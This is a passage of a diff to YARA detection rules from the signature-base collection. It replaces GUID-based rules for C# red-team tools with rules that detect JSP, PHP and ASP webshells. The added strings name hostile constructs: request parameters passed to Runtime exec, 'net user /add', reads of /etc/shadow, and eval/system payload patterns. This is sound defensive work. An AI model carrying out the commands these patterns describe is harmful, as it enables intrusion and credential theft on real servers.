+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L6241-L6338"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e9060aa2caf96be49e3b6f490d08b8a996c4b084"
+		hash = "4c2464503237beba54f66f4a099e7e75028707aa"
+		hash = "06b42d4707e7326aff402ecbb585884863c6351a"
+		hash = "dada47c052ec7fcf11d5cfb25693bc300d3df87de182a254f9b66c7c2c63bf2e"
+		hash = "f9f6c696c1f90df6421cd9878a1dec51a62e91b4b4f7eac4920399cb39bc3139"
+		hash = "f1d8360dc92544cce301949e23aad6eb49049bacf9b7f54c24f89f7f02d214bb"
+		hash = "1d1f26b1925a9d0caca3fdd8116629bbcf69f37f751a532b7096a1e37f4f0076"
+		hash = "850f998753fde301d7c688b4eca784a045130039512cf51292fcb678187c560b"
+		logic_hash = "e7db0c71f7c020da414dc453f6b8f95679a75232eeabb195f1a7c501c566dd04"
 		score = 75
-		quality = 85
+		quality = 19
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "ffc5c721-49c8-448d-8ff4-2e3a7b7cc383" ascii wide
-		$typelibguid0up = "FFC5C721-49C8-448D-8FF4-2E3A7B7CC383" ascii wide
+		$jstring1 = "<title>Boot Shell</title>" wide ascii
+		$jstring2 = "String oraPWD=\"" wide ascii
+		$jstring3 = "Owned by Chinese Hackers!" wide ascii
+		$jstring4 = "AntSword JSP" wide ascii
+		$jstring5 = "JSP Webshell</" wide ascii
+		$jstring6 = "motoME722remind2012" wide ascii
+		$jstring7 = "EC(getFromBase64(toStringHex(request.getParameter(\"password" wide ascii
+		$jstring8 = "http://jmmm.com/web/index.jsp" wide ascii
+		$jstring9 = "list.jsp = Directory & File View" wide ascii
+		$jstring10 = "jdbcRowSet.setDataSourceName(request.getParameter(" wide ascii
+		$jstring11 = "Mr.Un1k0d3r RingZer0 Team" wide ascii
+		$jstring12 = "MiniWebCmdShell" fullword wide ascii
+		$jstring13 = "pwnshell.jsp" fullword wide ascii
+		$jstring14 = "session set &lt;key&gt; &lt;value&gt; [class]<br>" wide ascii
+		$jstring15 = "Runtime.getRuntime().exec(request.getParameter(" nocase wide ascii
+		$jstring16 = "GIF98a<%@page" wide ascii
+		$jstring17 = "Tas9er" fullword wide ascii
+		$jstring18 = "uu0028\\u" wide ascii
+		$jstring19 = "uu0065\\u" wide ascii
+		$jstring20 = "uu0073\\u" wide ascii
+		$jstring21 = /\\uuu{0,50}00/ wide ascii
+		$jstring22 = /[\w\.]\\u(FFFB|FEFF|FFF9|FFFA|200C|202E|202D)[\w\.]/ wide ascii
+		$jstring23 = "\"e45e329feb5d925b\"" wide ascii
+		$jstring24 = "u<![CDATA[n" wide ascii
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
+		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
+		$pack = { 50 41 43 4b 00 00 00 02 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and (( filesize <100KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and any of ($jstring*)) or ( filesize <500KB and (#jstring21>20 or $jstring18 or $jstring19 or $jstring20)))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sneakyservice : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Input_Upload_Write : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "JSP uploader which gets input, writes files and contains \"upload\""
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d02d34f0-7aa1-5110-b7ea-670b5fb98150"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/malcomvetter/SneakyService"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3117-L3131"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf35b2709e6a998ee672681d99f91fe5f452ba612bf0c5d9abe20e93d3cb236e"
+		id = "bbf26edd-88b7-5ec5-a16e-d96a086dcd19"
+		date = "2021-01-24"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L6340-L6400"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ef98ca135dfb9dcdd2f730b18e883adf50c4ab82"
+		hash = "583231786bc1d0ecca7d8d2b083804736a3f0a32"
+		hash = "19eca79163259d80375ebebbc440b9545163e6a3"
+		logic_hash = "30574fa858e1946adc84d5611569fe8f69631539903e49746e415ed002b36e1f"
 		score = 75
-		quality = 85
+		quality = 46
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "897819d5-58e0-46a0-8e1a-91ea6a269d84" ascii wide
-		$typelibguid0up = "897819D5-58E0-46A0-8E1A-91EA6A269D84" ascii wide
+		$upload = "upload" nocase wide ascii
+		$write1 = "os.write" fullword wide ascii
+		$write2 = "FileOutputStream" fullword wide ascii
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
+		$input1 = "getParameter" fullword ascii wide
+		$input2 = "getHeaders" fullword ascii wide
+		$input3 = "getInputStream" fullword ascii wide
+		$input4 = "getReader" fullword ascii wide
+		$req1 = "request" fullword ascii wide
+		$req2 = "HttpServletRequest" fullword ascii wide
+		$req3 = "getRequest" fullword ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <10KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and ( any of ($input*) and any of ($req*)) and $upload and 1 of ($write*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpexec : FILE
+rule SIGNATURE_BASE_WEBSHELL_Generic_OS_Strings : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "typical webshell strings"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5faff0aa-9ffe-5ac0-b9e0-ca9f79350036"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/anthemtotheego/SharpExec"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3133-L3147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a8faa0abbd8654901a5b96dff22a635fd7d429a736fe9406c37e9bb724d2c89"
-		score = 75
-		quality = 85
+		id = "ea85e415-4774-58ac-b063-0f5eb535ec49"
+		date = "2021-01-12"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L6402-L6571"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d5bfe40283a28917fcda0cefd2af301f9a7ecdad"
+		hash = "fd45a72bda0a38d5ad81371d68d206035cb71a14"
+		hash = "b4544b119f919d8cbf40ca2c4a7ab5c1a4da73a3"
+		hash = "569259aafe06ba3cef9e775ee6d142fed6edff5f"
+		hash = "48909d9f4332840b4e04b86f9723d7427e33ac67"
+		hash = "0353ae68b12b8f6b74794d3273967b530d0d526f"
+		logic_hash = "174a7ee42008940eea6f09be9de0c1dca982f1ecf4533e290744a4955e8bdfbb"
+		score = 50
+		quality = -148
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "7fbad126-e21c-4c4e-a9f0-613fcf585a71" ascii wide
-		$typelibguid0up = "7FBAD126-E21C-4C4E-A9F0-613FCF585A71" ascii wide
+		$fp1 = "http://evil.com/" wide ascii
+		$fp2 = "denormalize('/etc/shadow" wide ascii
+		$fp3 = "vim.org>"
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
+		$w1 = "net localgroup administrators" nocase wide ascii
+		$w2 = "net user" nocase wide ascii
+		$w3 = "/add" nocase wide ascii
+		$l1 = "/etc/shadow" wide ascii
+		$l2 = "/etc/ssh/sshd_config" wide ascii
+		$take_two1 = "net user" nocase wide ascii
+		$take_two2 = "/add" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <70KB and ((( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) or ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) or ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize ))))) and ( filesize <300KB and not uint16(0)==0x5a4d and ( all of ($w*) or all of ($l*) or 2 of ($take_two*))) and not any of ($fp*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcom : FILE
+rule SIGNATURE_BASE_WEBSHELL_In_Image : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Webshell in GIF, PNG or JPG"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "94da3da4-a8aa-5735-9a04-1f2447a330aa"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/rvrsh3ll/SharpCOM"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3149-L3163"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c11955ce6a0a56de198b22d3716ce496573374847004a62f4b3a682edaa68ebe"
-		score = 75
-		quality = 85
+		id = "b1185b69-9b08-5925-823a-829fee6fa4cf"
+		date = "2021-02-27"
+		modified = "2024-03-11"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L6573-L6833"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d4fde4e691db3e70a6320e78657480e563a9f87935af873a99db72d6a9a83c78"
+		hash = "84938133ee6e139a2816ab1afc1c83f27243c8ae76746ceb2e7f20649b5b16a4"
+		hash = "52b918a64afc55d28cd491de451bb89c57bce424f8696d6a94ec31fb99b17c11"
+		logic_hash = "e7e78107c661aa5124a37b8e492986e5a3da63c79c97c4dc3199e648a5aa4aa8"
+		score = 55
+		quality = -367
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "51960f7d-76fe-499f-afbd-acabd7ba50d1" ascii wide
-		$typelibguid0up = "51960F7D-76FE-499F-AFBD-ACABD7BA50D1" ascii wide
+		$png = { 89 50 4E 47 }
+		$jpg = { FF D8 FF E0 }
+		$gif = "GIF8" wide ascii
+		$gif2 = "gif89"
+		$gif3 = "Gif89"
+		$mdb = { 00 01 00 00 53 74 }
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+		$php_multi_write1 = "fopen(" wide ascii
+		$php_multi_write2 = "fwrite(" wide ascii
+		$php_write1 = "move_uploaded_file" fullword wide ascii
+		$cjsp1 = "<%" ascii wide
+		$cjsp2 = "<jsp:" ascii wide
+		$cjsp3 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp4 = "/jstl/core" ascii wide
+		$payload1 = "ProcessBuilder" fullword ascii wide
+		$payload2 = "processCmd" fullword ascii wide
+		$rt_payload1 = "Runtime" fullword ascii wide
+		$rt_payload2 = "getRuntime" fullword ascii wide
+		$rt_payload3 = "exec" fullword ascii wide
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$asp_payload0 = "eval_r" fullword nocase wide ascii
+		$asp_payload1 = /\beval\s/ nocase wide ascii
+		$asp_payload2 = /\beval\(/ nocase wide ascii
+		$asp_payload3 = /\beval\"\"/ nocase wide ascii
+		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
+		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
+		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
+		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+		$asp_multi_payload_one2 = "addcode" fullword wide ascii
+		$asp_multi_payload_one3 = /\.run\b/ wide ascii
+		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+		$asp_multi_payload_three2 = "Process" fullword wide ascii
+		$asp_multi_payload_three3 = ".Start" wide ascii
+		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+		$asp_multi_payload_five2 = ".Start" nocase wide ascii
+		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
+		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+		$asp_always_write1 = /\.write/ nocase wide ascii
+		$asp_always_write2 = /\.swrite/ nocase wide ascii
+		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+		$asp_cr_write1 = "CreateObject(" nocase wide ascii
+		$asp_cr_write2 = "CreateObject (" nocase wide ascii
+		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <5MB and ($png at 0 or $jpg at 0 or $gif at 0 or $gif at 3 or $gif2 at 0 or $gif2 at 3 or $gif3 at 0 or $mdb at 0) and ((((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and (( any of ($cpayload*) or all of ($m_cpayload_preg_filter*)) or ( any of ($php_write*) or all of ($php_multi_write*)))) or (( any of ($cjsp*)) and (1 of ($payload*) or all of ($rt_payload*))) or ((( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and (( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) or ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*))))))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Inception : FILE
+rule SIGNATURE_BASE_WEBSHELL_Mixed_OBFUSC : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Detects webshell with mixed obfuscation commands"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8d18f1d5-9c9a-5258-9f96-fa24b702c6ad"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/two06/Inception"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3165-L3179"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "333f2d92dad837ab1d9ce9bfbd0aac790026c9624d7f5e77c7a60fc6c4a72ca0"
-		score = 75
+		id = "dcb4054b-0c87-5cd0-9297-7fd5f2e37437"
+		date = "2023-01-28"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L6835-L6859"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "76cc6390cbdb81055c72edb124db2bf52e3d0b975406367a9c49a0ee6621d30b"
+		score = 50
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8c4e5c6bdfcc86fa27bdfb075a7c9a769423ec6d53b73c80cbc71a6f8dd5aace"
+		hash2 = "78f2086b6308315f5f0795aeaa75544128f14889a794205f5fc97d7ca639335b"
+		hash3 = "3bca764d44074820618e1c831449168f220121698a7c82e9909f8eab2e297cbd"
+		hash4 = "b26b5e5cba45482f486ff7c75b54c90b7d1957fd8e272ddb4b2488ec65a2936e"
+		hash5 = "e217be2c533bfddbbdb6dc6a628e0d8756a217c3ddc083894e07fd3a7408756c"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "03d96b8c-efd1-44a9-8db2-0b74db5d247a" ascii wide
-		$typelibguid0up = "03D96B8C-EFD1-44A9-8DB2-0B74DB5D247A" ascii wide
+		$s1 = "rawurldecode/*" ascii
+		$s2 = "preg_replace/*" ascii
+		$s3 = " __FILE__/*" ascii
+		$s4 = "strlen/*" ascii
+		$s5 = "str_repeat/*" ascii
+		$s6 = "basename/*" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x3f3c and filesize <200KB and (4 of them ))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwmi_1 : FILE
+rule SIGNATURE_BASE_WEBSHELL_Cookie_Post_Obfuscation : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Detects webshell using cookie POST"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "cd5a1c7b-a45a-5541-b1b0-cf19c991ed22"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		old_rule_name = "HKTL_NET_GUID_sharpwmi"
-		reference = "https://github.com/QAX-A-Team/sharpwmi"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3181-L3196"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "85e22c021c6d421e97d7ea811b3d3800c487a0185ddab6cb80b2d35cb97a73d7"
+		id = "cc5ded80-5e58-5b25-86d1-1c492042c740"
+		date = "2023-01-28"
+		modified = "2023-04-05"
+		reference = "https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L6861-L6887"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d08a00e56feb78b7f6599bad6b9b1d8626ce9a6ea1dfdc038358f4c74e6f65c9"
+		hash = "2ce5c4d31682a5a59b665905a6f698c280451117e4aa3aee11523472688edb31"
+		hash = "ff732d91a93dfd1612aed24bbb4d13edb0ab224d874f622943aaeeed4356c662"
+		hash = "a3b64e9e065602d2863fcab641c75f5d8ec67c8632db0f78ca33ded0f4cea257"
+		hash = "d41abce305b0dc9bd3a9feb0b6b35e8e39db9e75efb055d0b1205a9f0c89128e"
+		hash = "333560bdc876fb0186fae97a58c27dd68123be875d510f46098fc5a61615f124"
+		hash = "2efdb79cdde9396ff3dd567db8876607577718db692adf641f595626ef64d3a4"
+		hash = "e1bd3be0cf525a0d61bf8c18e3ffaf3330c1c27c861aede486fd0f1b6930f69a"
+		hash = "f8cdedd21b2cc29497896ec5b6e5863cd67cc1a798d929fd32cdbb654a69168a"
+		logic_hash = "87229859ca3ee8f8b79360603c421528cda2ecefcc46d4080236d09b2dd510fb"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "bb357d38-6dc1-4f20-a54c-d664bd20677e" ascii wide
-		$typelibguid0up = "BB357D38-6DC1-4F20-A54C-D664BD20677E" ascii wide
+		$s1 = "]($_COOKIE, $_POST) as $"
+		$s2 = "function"
+		$s3 = "Array"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x3f3c and filesize <100KB and ( all of them ))
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2019_1064 : FILE
